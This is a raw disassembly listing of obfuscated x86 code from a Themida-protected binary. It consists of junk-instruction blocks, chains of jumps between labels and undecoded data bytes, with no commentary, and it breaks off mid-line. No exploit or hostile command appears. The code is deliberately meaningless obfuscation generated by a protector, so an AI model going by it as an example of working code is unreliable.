--------------------------------------------------------------------------- loc_549E37: ; CODE XREF: Themida_:00548CF6j pop eax jmp loc_5507EB ; --------------------------------------------------------------------------- db 55h, 87h, 2Ch dd 0E9D5F724h, 2142h, 0E95FF801h, 0C98h ; --------------------------------------------------------------------------- loc_549E50: ; CODE XREF: Themida_:00552B7Bj mov edx, esp push eax mov eax, 4 add edx, eax jmp loc_54FF8F ; --------------------------------------------------------------------------- loc_549E5F: ; CODE XREF: Themida_:00551AB8j mov eax, esp add eax, 4 sub eax, 4 jmp loc_546C90 ; --------------------------------------------------------------------------- dd 20E9FE87h, 8BFFFFF1h, 8956240Ch, 4C681E6h, 81000000h dd 4C6h, 24348700h, 8BD8295Ch, 0C483241Ch, 3C506804h, 3C890000h dd 230BBF24h, 0C7816605h, 0D00408F6h, 10E9FB01h, 8BFFFFA3h dd 0E4682424h, 89000060h, 0FF5A240Ch, 81592434h, 4C4h dd 7C55E900h, 0EC81FFFFh, 4, 0E9243489h, 0FFFF8A29h, 0A2E95158h dd 5EFFFF85h, 348B585Fh, 0E3895324h, 4C381h, 0C3830000h dd 241C8704h, 0B6A4E9h db 0 ; --------------------------------------------------------------------------- loc_549EF9: ; CODE XREF: Themida_:00544EB8j add edx, 52D7471Fh jmp loc_54653F ; --------------------------------------------------------------------------- loc_549F04: ; CODE XREF: Themida_:0055263Cj xor edi, [esp] jmp loc_54C45C ; --------------------------------------------------------------------------- loc_549F0C: ; CODE XREF: Themida_:005528C9j pop edx sub dword ptr [esp+8], 2F2F5B7Bh sub [esp+8], edx add dword ptr [esp+8], 2F2F5B7Bh pop edx sub dword ptr [esp+4], 39474452h add dword ptr [esp+4], 281F702Ah sub [esp+4], edi push edi mov edi, 281F702Ah sub [esp+8], edi pop edi add dword ptr [esp+4], 39474452h push 22DAh mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_542282 ; --------------------------------------------------------------------------- loc_549F5E: ; CODE XREF: Themida_:005482D3j add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] sub edx, 4 jmp loc_54BB22 ; --------------------------------------------------------------------------- db 5Ah, 51h, 0B5h dd 0B4ED805Dh, 7FF2E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549F82: ; CODE XREF: Themida_:0054B159j add dword ptr [esp], 4 jmp loc_54509B ; --------------------------------------------------------------------------- db 5Ah dd 0FF7B8EE9h db 0FFh ; --------------------------------------------------------------------------- loc_549F91: ; CODE XREF: Themida_:0054A129j or edx, eax shl edx, 1 push dword ptr [edi+24h] sub esp, 4 mov [esp], esi jmp loc_54DAD7 ; --------------------------------------------------------------------------- byte_549FA3 db 66h ; DATA XREF: Themida_:005419E4o dd 68240C8Bh, 81Bh, 0E9240C89h, 0FFFFCB68h, 8124348Bh dd 4ECh, 240C8900h, 0C181E189h, 4, 0FFD461E9h db 0FFh ; --------------------------------------------------------------------------- loc_549FCD: ; CODE XREF: Themida_:0054239Dj add ebx, 6E4A41A7h add ebx, edi sub ebx, 6E4A41A7h jmp loc_544D10 ; --------------------------------------------------------------------------- loc_549FE0: ; CODE XREF: Themida_:00553948j sub ecx, 779E0A76h push eax mov eax, 0 jmp loc_54328D ; --------------------------------------------------------------------------- loc_549FF1: ; CODE XREF: Themida_:00542435j xor ebx, eax pop eax jmp loc_54658F ; --------------------------------------------------------------------------- db 28h, 0C3h, 51h dd 8651E3B1h, 66E92414h, 5D000042h, 8C5FE9h, 241C3100h dd 5C241C33h, 57E28952h, 4BFh, 8BFA0100h, 0C481243Ch, 4 dd 8704C283h, 248B2414h, 33A56824h, 3C890000h, 2474FF24h dd 2434FF04h, 0E289525Fh, 4C281h, 0C2830000h, 24148704h dd 24048F5Ch, 0FF7AC6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A059: ; CODE XREF: Themida_:00547133j pop ebp push 471Ah mov [esp], edx push 7FB4h mov [esp], ebp mov ebp, 3EEC48B7h inc ebp jmp loc_551A06 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 31E7h, 0C7815F54h, 4, 4BB53h, 0D7E90000h dd 5FFFF7Fh, 0DF8FAD3Fh, 5558C589h, 40242C81h, 8B09F018h dd 7DE92414h, 0FF000049h, 56582434h, 0C681E689h, 4, 0FFFAA7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A0BD: ; CODE XREF: Themida_:0054B493j add edx, eax jmp loc_5448D5 ; --------------------------------------------------------------------------- dd 2DB15166h, 0C8001D04h, 8B661D2Ch db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 xchg ebp, [esp] pop esp jmp loc_5509A7 ; --------------------------------------------------------------------------- dw 0C33h dd 240C3124h, 0E9240C33h, 0FFFF7D98h ; --------------------------------------------------------------------------- loc_54A0F8: ; CODE XREF: Themida_:00551310j sub edi, 0C38E03DAh mov ebx, edi pop edi or edi, ebx push dword ptr [esp] pop ebx add esp, 4 xchg ebp, edi xchg ecx, ebp not ecx xchg ecx, ebp push edi push ebp pop edi pop ebp jmp loc_550318 ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFFC56Ah ; --------------------------------------------------------------------------- loc_54A124: ; CODE XREF: Themida_:0055590Ej pop esi pop dword ptr [esp] pop esp jmp loc_549F91 ; --------------------------------------------------------------------------- loc_54A12E: ; CODE XREF: Themida_:00542788j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] add esp, 4 loc_54A144: ; CODE XREF: Themida_:00541E56j push 4D85h jmp loc_5448E7 ; --------------------------------------------------------------------------- dw 814Eh dd 0A15D57CEh, 0CC01E933h, 0E959FFFFh, 13A9h, 8158C689h dd 0DDDFDCEEh, 0AE31E9FFh, 0DE280000h, 5B2434FFh, 4C481h dd 0E9500000h, 0FFFFCB48h ; --------------------------------------------------------------------------- loc_54A180: ; CODE XREF: Themida_:00551891j mov [esp], ebx jmp loc_54F1A2 ; --------------------------------------------------------------------------- dd 348BF201h, 4C48124h, 68000000h, 1680h, 0E9243C89h, 2B79h ; --------------------------------------------------------------------------- loc_54A1A0: ; CODE XREF: Themida_:0054E340j push ecx not dword ptr [esp] pop ecx sub ecx, 3ECAA946h sub esi, ecx pop ecx push esi xor dword ptr [esp], 25F41373h pop ecx jmp loc_54957B ; --------------------------------------------------------------------------- aAAYsZ db 'Ðê€êÚ€Ãyé',0Ah db '§',0 db 0 ; --------------------------------------------------------------------------- loc_54A1C9: ; CODE XREF: Themida_:0054661Dj mov dl, cl mov ecx, [esp] add esp, 4 pop ebx jmp loc_542247 ; --------------------------------------------------------------------------- dw 554Dh dd 5D2414F7h, 57EFF581h, 4D4D0CFAh, 0CBB3C581h, 0D5F7BE87h dd 0B123E9h db 0 ; --------------------------------------------------------------------------- loc_54A1F5: ; CODE XREF: Themida_:0054D72Aj xor edx, 49141BDDh jmp loc_5425CF ; --------------------------------------------------------------------------- dd 48B5A66h, 0E1895124h, 4C181h, 74E90000h, 8100002Ch dd 4ECh, 24348900h, 0FFC30BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A221: ; CODE XREF: Themida_:00543136j sub edx, eax push ecx mov ecx, 37375041h sub edx, ecx pop ecx mov eax, [esp] push ecx jmp loc_54CBA4 ; --------------------------------------------------------------------------- loc_54A235: ; CODE XREF: Themida_:00546C28j xchg eax, [esp] jmp loc_551B65 ; --------------------------------------------------------------------------- loc_54A23D: ; CODE XREF: Themida_:00554F1Bj xchg edi, [esp] pop esp mov [esp], bx push ecx mov ch, 93h neg ch inc ch jmp loc_5472F2 ; --------------------------------------------------------------------------- aIHh_ db '\‰,$hH_',0 align 2 aSkm db 'ék¬',0 db 0 ; --------------------------------------------------------------------------- loc_54A25F: ; CODE XREF: Themida_:0054E4F2j pop ebp jmp loc_555EF2 ; --------------------------------------------------------------------------- db 53h, 0BBh, 18h dd 0F71D6173h, 3E3C1D3h, 0E8FCE943h db 2 dup(0FFh) word_54A276 dw 8B66h ; DATA XREF: Themida_:005419A4o dd 90E9240Ch, 83000039h, 0C48104C4h, 4, 23BF5750h, 0F7711E38h dd 19EF81DFh, 0E91ED79Fh, 5FE5h, 0E2354858h, 890FAC01h dd 24048BC6h, 4C481h, 1CE90000h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A2B3: ; CODE XREF: Themida_:00555770j push 7932h mov [esp], ebp push ecx push edi mov edi, edx mov ecx, edi pop edi mov ebp, ecx mov ecx, [esp] add esp, 4 jmp loc_55455F ; --------------------------------------------------------------------------- dw 2A05h aHVvsZ db 'h·vVé^‡',0 dd 7E95100h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A2E3: ; CODE XREF: Themida_:00542CBBj add esp, 4 add bl, 0AAh sub bl, al sub bl, 0AAh push eax push ecx mov ecx, esp jmp loc_553038 ; --------------------------------------------------------------------------- db 68h dd 558h, 0B9240C89h, 32A12F49h, 520BA52h, 0D121676Dh, 0C147E9h dd 4B800h, 21E90000h, 540000A5h, 9B53E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A322: ; CODE XREF: Themida_:005499FFj add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_553D85 ; --------------------------------------------------------------------------- loc_54A333: ; CODE XREF: Themida_:0055231Bj mov ebp, 4 add esi, ebp pop ebp push eax mov eax, 4 sub esi, 4DDC72D2h sub esi, 1FD759EBh jmp loc_54BE06 ; --------------------------------------------------------------------------- dw 0DB68h dd 8900002Ah, 14F72434h, 5AE8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A362: ; CODE XREF: Themida_:00546B02j push 1869h mov [esp], ecx jmp loc_54903A ; --------------------------------------------------------------------------- db 9 dd 0E9D15FF9h, 8C25C181h, 0C681A040h, 38762CC9h, 17E9CE01h dd 5600000Ah, 4B47DCBEh, 17FDE960h, 81590000h, 4ECh, 24148900h dd 662C268h, 0E2C15A37h, 0D0C28104h, 51277970h, 94154FB9h dd 59CA0946h, 8904EC83h, 3DE92434h, 8B000034h, 0C4E92424h db 61h, 2 dup(0) byte_54A3C7 db 68h ; DATA XREF: Themida_:00541920o dd 1363h, 0FFBC91E9h db 0FFh byte_54A3D1 db 0ACh, 66h, 51h ; DATA XREF: Themida_:00541904o dd 6BE9E9B5h, 0B9FFFF7Ch, 0A106982h, 159CE29h, 19B850EEh dd 4029AC71h, 522FA735h, 0D221E91Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A3F6: ; CODE XREF: Themida_:0054A723j push esi mov esi, 15415D71h shr esi, 3 push 6CD8h mov [esp], edi mov edi, 1 sub esi, edi pop edi xor esi, 7AD077C6h and edx, esi mov esi, [esp] add esp, 4 add edx, 0FFFFFFFFh not edx push 33C7h mov [esp], ecx mov ecx, 0CF9FF3B4h xor edx, ecx jmp loc_55478C ; --------------------------------------------------------------------------- db 59h, 0E9h, 0FBh db 61h, 2 dup(0) byte_54A43F db 66h ; DATA XREF: Themida_:00541968o dd 5324048Bh, 9D12E9h, 338E0500h, 0D8011F1Bh, 5AD2E9h dd 0E9515800h, 4642h ; --------------------------------------------------------------------------- loc_54A45C: ; CODE XREF: Themida_:0054691Aj add eax, edi pop edi add eax, 4 push eax jmp loc_54225E ; --------------------------------------------------------------------------- dw 1CF7h dd 0BD555824h, 11074BA3h, 2C8BE801h, 4C48124h, 0C1000000h dd 574805E8h, 995FC568h, 0D350E9FAh, 4B8FFFFh, 29000000h dd 0C9E958C3h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A49B: ; CODE XREF: Themida_:005525E3j mov edx, 52E04815h or edi, edx pop edx or edi, 6DE54D6Eh push ebp jmp loc_552F8D ; --------------------------------------------------------------------------- loc_54A4AF: ; CODE XREF: Themida_:00545DA9j pop esp push edi mov edi, 2EB36506h shl edi, 5 shl edi, 3 push 5AEFh mov [esp], edx mov edx, 332377h sub esp, 4 jmp loc_551AB4 ; --------------------------------------------------------------------------- loc_54A4D4: ; CODE XREF: Themida_:0054327Aj add esp, 4 mov eax, 0DE84C899h xor eax, edx mov edx, [esp] jmp loc_54D51B ; --------------------------------------------------------------------------- dw 9DB8h dd 0E9630405h, 0FFFFD247h, 72E9F231h, 81000019h, 4C3h dd 4BE5600h, 1000000h, 0FF535EF3h, 5B042474h, 5C24048Fh dd 41068h, 241C8900h, 420B6850h, 6AE95362h, 0B0000048h dd 58C63081h, 2C5AF128h, 51C828E7h, 0FFCD44E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A535: ; CODE XREF: Themida_:0054E077j sub edx, 0DE056100h add edi, edx push dword ptr [esp] pop edx jmp loc_54584C ; --------------------------------------------------------------------------- dw 0C868h dd 89000079h, 5257241Ch, 295192BAh, 4EC837Eh, 55241489h dd 0A6217DBDh, 0BF63E91Fh, 6968FFFFh, 89000052h, 768242Ch dd 5D13B272h, 6808E5C1h, 0 dd 5D242C29h, 0FFFFC581h, 0ED81FFFFh, 26515FDFh, 1ED81h dd 0BA520000h, 7A807394h, 216EE281h, 0EC835399h, 0E944E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A5A6: ; CODE XREF: Themida_:005539A2j push 4723h jmp loc_544A99 ; --------------------------------------------------------------------------- dd 34FFF829h, 2434FF24h, 81243C8Bh, 4C4h, 33D9E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A5C6: ; CODE XREF: Themida_:00543560j add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_5563D9 ; --------------------------------------------------------------------------- dw 34FFh aSo db '$éo|',0 align 2 loc_54A5E2: ; CODE XREF: Themida_:00553D4Ej pop edx add ebp, ebx pop ebx sub edx, ebp mov ebp, [esp] add esp, 4 and ecx, edx push dword ptr [esp] pop edx add esp, 4 shr ecx, 0Bh push ebp push esp pop ebp push edi jmp loc_54CBB1 ; --------------------------------------------------------------------------- dw 435h dd 296E5290h, 24048BC6h, 4C481h, 34870000h, 0BC55E924h dd 8F5BFFFFh, 895C2404h, 13E92434h, 8B000002h, 0D3662424h dd 0E99C2404h, 0FFFF74E7h, 0F75F5B57h, 31FB31D7h, 81FB31DFh dd 0E560DCEBh, 8BD8012Eh, 8957241Ch, 4C781E7h, 0E9000000h dd 235Bh, 33242C31h, 248B242Ch, 68F9F724h, 7707h, 81241489h dd 4ECh, 24248900h, 0FF91E8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A67D: ; CODE XREF: Themida_:0054C052j sub esi, ebx jmp loc_550AE6 ; --------------------------------------------------------------------------- dd 0D188FA88h, 0B25B665Ah, 80C2FEBFh, 5E967F2h, 89FFFFC7h dd 9EBB241Ch, 0E9643343h, 0FFFFA4E2h dword_54A6A4 dd 240C8B66h, 4EC81h, 34890000h, 83E68924h, 0C8904ECh ; DATA XREF: Themida_:005418F4o dd 42ABB924h, 0E98106EAh, 636D5EEDh, 757EBF57h, 0DFF72C81h dd 7BA168h, 24148900h, 3A1401BAh, 4BB95162h, 0E9086C33h dd 0BCC2h, 4C181h, 48E90000h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A6EF: ; CODE XREF: Themida_:005434E5j pop ecx jmp loc_555C48 ; --------------------------------------------------------------------------- loc_54A6F5: ; CODE XREF: Themida_:00551258j mov [esp], edx push ecx push 26A85211h pop ecx sub ecx, 58AD6A04h jmp loc_548D01 ; --------------------------------------------------------------------------- loc_54A70A: ; CODE XREF: Themida_:00542242j mov ecx, 1E675411h mov edx, 434D508Fh xor edx, ecx pop ecx add edx, 6ABF668Ah sub edx, 15045CD9h jmp loc_54A3F6 ; --------------------------------------------------------------------------- dd 833F7BBAh, 0E95D522Ch, 0FFFFCCADh ; --------------------------------------------------------------------------- loc_54A734: ; CODE XREF: Themida_:00548F79j add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_55515B ; --------------------------------------------------------------------------- loc_54A745: ; CODE XREF: Themida_:0054ADCBj mov ecx, ebx jmp loc_54F4EF ; --------------------------------------------------------------------------- dd 1AF8C381h, 0DE3114ABh, 17E9575Bh, 5DFFFFEDh, 0C8BCE01h dd 0A149E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A766: ; CODE XREF: Themida_:005478FAj pop edi sub ebx, edx push dword ptr [esp] jmp loc_54B1E5 ; --------------------------------------------------------------------------- loc_54A771: ; CODE XREF: Themida_:00544172j mov eax, edi pop edi jmp loc_5472CE ; --------------------------------------------------------------------------- loc_54A779: ; CODE XREF: Themida_:0054C665j add eax, 70BE66D5h jmp loc_54DF3F ; --------------------------------------------------------------------------- db 0BDh dd 4A385146h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx jmp loc_544157 ; --------------------------------------------------------------------------- db 81h, 0C1h, 0B5h dd 168C265h, 0B5E981D9h, 5B68C265h, 0FFC4DFE9h, 1C9468FFh dd 14890000h, 0C0DBB624h, 0E6D003E6h, 0C6FEDEF6h, 0B353DEF6h dd 0A5EB80FCh, 0C380E3D0h, 4EBC04Eh, 0F6FFC380h, 84B252D3h dd 7FCEE9h, 0C8315B00h, 51CE3559h, 0BDE9671Ch db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A7E3: ; CODE XREF: Themida_:00545B3Cj pop esp shr ecx, 6 push 19A3h mov [esp], ebx xor dword ptr [esp], 2239792Dh push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_552961 ; --------------------------------------------------------------------------- dw 0F796h dd 814896D6h, 4ECh, 24348900h, 0A471A1BEh, 9556E91Bh, 0F831FFFFh dd 0F831C731h, 0CA066805h, 3FC42547h, 0E0C1361Ch, 30BD5507h dd 8129D324h, 5F24F6E5h, 1DEE947h, 0A4BE0000h, 0F72D1D01h dd 53514ED6h, 195BE9h, 79FEBA00h, 0D30148EDh, 0BF2EE9h dd 0E9D30100h, 0FFFFC4D5h ; --------------------------------------------------------------------------- loc_54A860: ; CODE XREF: Themida_:0054B2A3j not dword ptr [esp] pop ebx jmp loc_554C14 ; --------------------------------------------------------------------------- db 31h, 0CBh, 0FFh dd 50592434h, 0B1FBE9h, 58C13000h, 6859C800h, 769Dh, 81240C89h dd 4ECh, 24148900h, 0B56840B2h, 89000010h, 8851241Ch, 59EB88D5h dd 88DA8852h, 1C8B5AD5h, 4C48124h, 0FF000000h, 0EEE92434h dd 5B0000ADh, 0E9240C87h, 0FFFF7941h ; --------------------------------------------------------------------------- loc_54A8BC: ; CODE XREF: Themida_:0054C088j or eax, 511F5F41h add eax, 0E86F13E1h add ebx, eax pop eax add ebp, 49DC3ABEh add ebp, ebx push edi mov edi, 45374DC7h and edi, 617C78F4h jmp loc_548862 ; --------------------------------------------------------------------------- loc_54A8E2: ; CODE XREF: Themida_:00554901j xor edx, esi not esi xchg esi, edx xor edx, 495A6304h not edx push edi mov edi, 99739DC8h xor edx, edi pop edi sub ebx, 0B327578h sub ebx, 0A2B301Bh add ebx, edx add ebx, 0A2B301Bh push ebp jmp loc_547253 ; --------------------------------------------------------------------------- loc_54A913: ; CODE XREF: Themida_:005519E2j mov ebx, 4B832B93h mov edi, 4B832B97h xor edi, ebx pop ebx add [esp+4], edi mov edi, [esp] add esp, 4 push dword ptr [esp] jmp loc_54BC0F ; --------------------------------------------------------------------------- dw 8959h dd 240C8BC8h, 7BE953h, 0FE890000h, 57D6F75Fh, 0FFFFFFBFh dd 0E9FE01FFh, 0FFFFE0FCh dword_54A950 dd 240C8B66h, 344768h, 24048900h, 0FAF3E954h, 8E2DFFFFh ; DATA XREF: Themida_:005418A4o dd 0E903FB21h, 0FFFFDBCCh, 240C895Ch, 0FFF2F0E9h, 2434FFFFh dd 0E9243C8Bh, 9745h ; --------------------------------------------------------------------------- loc_54A980: ; CODE XREF: Themida_:0054BD4Ej xchg ecx, ebx push 6204h mov [esp], esi push 4FD2h mov [esp], ebx mov ebx, 63E6354Ah push 69A07A00h pop esi sub esi, ebx mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx jmp loc_543F17 ; --------------------------------------------------------------------------- db 54h, 5Bh, 81h dd 4C3h, 4C38100h, 87000000h, 248B241Ch, 58C50124h, 2474FF55h dd 48F5D04h, 0AD5CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A9DE: ; CODE XREF: Themida_:005525F5j sub [esp+4], eax sub dword ptr [esp+4], 2C0A467Fh sub dword ptr [esp+4], 22606960h mov eax, [esp] push ecx push esp jmp loc_5475FA ; --------------------------------------------------------------------------- dd 61B55166h, 0FFF3FFE9h, 0F5015EFFh, 8124348Bh, 4C4h dd 242C8700h, 0E924248Bh, 0FFFFCF60h, 38A8ED81h, 0BBE96F48h dd 8100000Eh, 4C4h, 0C5C0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AA32: ; CODE XREF: Themida_:00547E4Bj mov esp, [esp] xor eax, 2FB02922h jmp loc_541BA8 ; --------------------------------------------------------------------------- db 68h dd 67811C35h, 0E924348Bh, 0FFFF8CD8h, 8158C629h, 0F30EA0C6h dd 81FE0130h, 0F30EA0EEh, 37685330h, 89000032h, 0B68240Ch dd 0E9513963h, 0FFFFD78Eh ; --------------------------------------------------------------------------- loc_54AA70: ; CODE XREF: Themida_:0054EFC2j pop edi xchg ebp, [esp] jmp loc_54DEF4 ; --------------------------------------------------------------------------- db 1, 0E9h, 5Dh dd 0FFC40FE9h, 4EC83FFh, 0B3241C89h, 7EBC073h, 0E948EB80h dd 0A7Fh ; --------------------------------------------------------------------------- loc_54AA94: ; CODE XREF: Themida_:0054B724j push dword ptr [esp] pop edi push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_548610 ; --------------------------------------------------------------------------- db 68h, 66h, 0Dh dd 91E90000h, 81000087h, 0C9042444h, 146796Eh, 0E904244Ch dd 5206h, 8758C301h, 805C241Ch, 26E96FC3h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AAD3: ; CODE XREF: Themida_:00541F58j sub edx, 1 push ebp mov ebp, 0FFFFFFFFh add edx, ebp pop ebp push ebp jmp loc_550CD1 ; --------------------------------------------------------------------------- dd 2474FF50h, 65E95804h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AAF3: ; CODE XREF: Themida_:00543F4Ej mov dh, 5Bh sub bl, 7Eh jmp loc_5427AC ; --------------------------------------------------------------------------- byte_54AAFD db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00541974o dd 0FF7A6BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54AB05: ; CODE XREF: Themida_:00542B5Fj sub esp, 4 mov [esp], ecx mov ecx, 0BA6C9FDCh sub edx, ecx push dword ptr [esp] pop ecx add esp, 4 sub eax, 3D662C51h add eax, edx sub esp, 4 mov [esp], edx mov edx, 3D662C51h jmp loc_545706 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 4C2815Ah, 83000000h, 148704C2h, 24248B24h dd 0EC81C329h, 4, 53243C89h, 1A0488BBh, 0B19FE940h, 44810000h dd 4AC10424h, 2C8B7004h, 4C48124h, 68000000h, 1E68h, 0FFBCCFE9h dd 0B85057FFh, 41CE6579h, 0B258ABBFh, 8BC7013Bh, 54522404h dd 0BBC7E95Ah, 0E95BFFFFh, 8000h ; --------------------------------------------------------------------------- loc_54ABA0: ; CODE XREF: Themida_:0054F366j push ebp mov ebp, esp add ebp, 4 jmp loc_54B9AA ; --------------------------------------------------------------------------- loc_54ABAE: ; CODE XREF: Themida_:005443A7j xor edx, 76F710AEh add ebp, edx pop edx sub ebp, 47923F97h add ebp, edi add ebp, 47923F97h sub ebp, 59C233Fh pop edi sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_54D6E0 ; --------------------------------------------------------------------------- dd 508E0C1h, 0B0AA9804h, 2220C681h, 0C60167D8h, 5DC6E9h db 0 ; --------------------------------------------------------------------------- loc_54ABF5: ; CODE XREF: Themida_:0054F79Aj mov ebx, 1AE32C85h shl ebx, 3 jmp loc_554F82 ; --------------------------------------------------------------------------- dw 7768h dd 0E9000025h, 2133h dword_54AC0C dd 240C8B66h, 82F7E951h, 0EC830000h, 241C8904h, 314EABBh ; DATA XREF: Themida_:00541940o dd 8BDA8973h, 0C481241Ch, 4, 0C105EAC1h, 79E905E2h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AC37: ; CODE XREF: Themida_:00552CF4j mov eax, [esp] jmp loc_545C10 ; --------------------------------------------------------------------------- loc_54AC3F: ; CODE XREF: Themida_:0054F868j shl al, 1 and al, 0A6h inc al push bx jmp loc_5432CF ; --------------------------------------------------------------------------- dd 0C581DD01h, 3B133A03h, 0E5E9815Bh, 0E95EF371h, 8B54h dd 15FFA01h, 0FDEA81C2h, 810E0D29h, 4ECh, 241C8900h, 0A602E5BBh dd 7EBC15Ah, 77FF68h, 24348900h, 0FFFFFFBEh, 0A0EB81FFh dd 290D0F31h, 0A0C381F3h, 8B0D0F31h, 0C4832434h, 0F3814304h dd 770718Ah, 0D078EB81h, 0DA01E810h, 0BA4CE95Bh, 0C4810000h dd 4, 24048B55h, 0E904C483h, 0FFFF8665h ; --------------------------------------------------------------------------- loc_54ACC4: ; CODE XREF: Themida_:00549035j add esi, 25B3056Dh add esi, ecx sub esi, 25B3056Dh sub esi, 408A06BBh mov ecx, [esp] add esp, 4 jmp loc_55279B ; --------------------------------------------------------------------------- db 50h dd 88DBB551h, 0E03459E8h, 48BC688h, 4C48324h, 1C8BDE28h dd 3FE95224h, 0F7FFFF9Bh, 240C87D1h, 92B8505Bh, 480B2035h dd 9B0F7D25h, 496B0534h, 632D588Dh, 550CB428h, 0E76E9h db 0 ; --------------------------------------------------------------------------- loc_54AD21: ; CODE XREF: Themida_:0055676Ej mov eax, [esp] add esp, 4 dec eax shr eax, 6 sub eax, 0D0A89619h mov esi, eax pop eax xor edx, esi pop esi and eax, edx mov edx, [esp] add esp, 4 jmp loc_54B67B ; --------------------------------------------------------------------------- db 47h dd 0B8CAC781h, 0FD8958D6h, 0D0C5815Fh, 684D9F11h, 3581h dd 0BE243489h, 786C724Ah, 0E95EF509h, 0FFFF8A34h dword_54AD68 dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF6DA7h, 0E9C3315Fh ; DATA XREF: Themida_:00541A64o dd 8DCBh, 52E68956h, 31406855h, 0E4E92AD4h db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AD8F: ; CODE XREF: Themida_:00552117j pop edx jmp loc_544537 ; --------------------------------------------------------------------------- loc_54AD95: ; CODE XREF: Themida_:0054F940j neg edi xor edx, edi jmp loc_553E33 ; --------------------------------------------------------------------------- aShbvj7BZQ db 'ShBv†7[Ƕï',0 aS_6 db 'é',0 aO db 'Ž',0 align 10h loc_54ADB0: ; CODE XREF: Themida_:00549440j add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] pop esp push 5127h jmp loc_549B36 ; --------------------------------------------------------------------------- loc_54ADC8: ; CODE XREF: Themida_:0054266Fj add esp, 4 jmp loc_54A745 ; --------------------------------------------------------------------------- dd 7252C381h, 68527039h, 0F3B5EAEh, 78C2815Ah, 0E9233D6Ah dd 0FFFFF02Fh, 1C8BF888h, 4C48324h, 0A024E959h, 3C870000h dd 0A7E95C24h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54ADFF: ; CODE XREF: Themida_:0054C682j mov ebp, 6E64D69Eh sub edi, ebp push dword ptr [esp] pop ebp add esp, 4 and eax, edi mov edi, [esp] push edx push esp mov edx, [esp] add esp, 4 push ecx mov ecx, 4 jmp loc_5451CA ; --------------------------------------------------------------------------- loc_54AE28: ; CODE XREF: Themida_:0054D52Bj push 5069h mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] add esp, 4 add eax, 4 push 62DDh mov [esp], ebx jmp loc_55413F ; --------------------------------------------------------------------------- dw 248Bh dd 0FFFB8924h, 525F2434h, 0FF769AE9h, 0EFC15CFFh, 2CCF6804h dd 4890000h, 6F70E924h, 0E954FFFFh, 0FFFF7817h, 8BA3E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AE7E: ; CODE XREF: Themida_:005546FFj mov esi, ebp jmp loc_5544F4 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 5451F1F7h, 4BE5659h, 1000000h, 653FE9F1h, 0B6520000h dd 73D9E9E0h, 78E9FFFFh, 52FFFF6Ch, 0FFBAC0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AEAD: ; CODE XREF: Themida_:0054EEACj add ebx, eax add ebx, 6BF0756Dh push 0A95h mov [esp], edi mov edi, 2A7220CEh add edi, 3C9F6119h shr edi, 7 add edi, 46D1307Fh sub ebx, edi pop edi pop eax xchg ebx, [esp] mov esp, [esp] or eax, eax jmp loc_54223B ; --------------------------------------------------------------------------- loc_54AEE2: ; CODE XREF: Themida_:00543297j xchg ebx, [edi+20h] shr dword ptr [edi+20h], 3 xor dword ptr [edi+20h], 7C010477h sub dword ptr [edi+20h], 104A3ED7h sub dword ptr [edi+20h], 1 add dword ptr [edi+20h], 0FA257437h jmp loc_5529DE ; --------------------------------------------------------------------------- db 0BDh dd 0B9043FE4h, 0E95DEB01h, 8D47h ; --------------------------------------------------------------------------- loc_54AF14: ; CODE XREF: Themida_:00554191j pop esp jmp loc_5453C6 ; --------------------------------------------------------------------------- loc_54AF1A: ; CODE XREF: Themida_:0054647Fj pop ebx and esi, 0D2B5FA0h jmp loc_5522AB ; --------------------------------------------------------------------------- aRsu db 'Réžœ',0 align 4 dd 4B850h, 0C5010000h, 0E127E958h, 0B753FFFFh, 4E7C04Dh dd 0E9E9C7FEh db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AF47: ; CODE XREF: 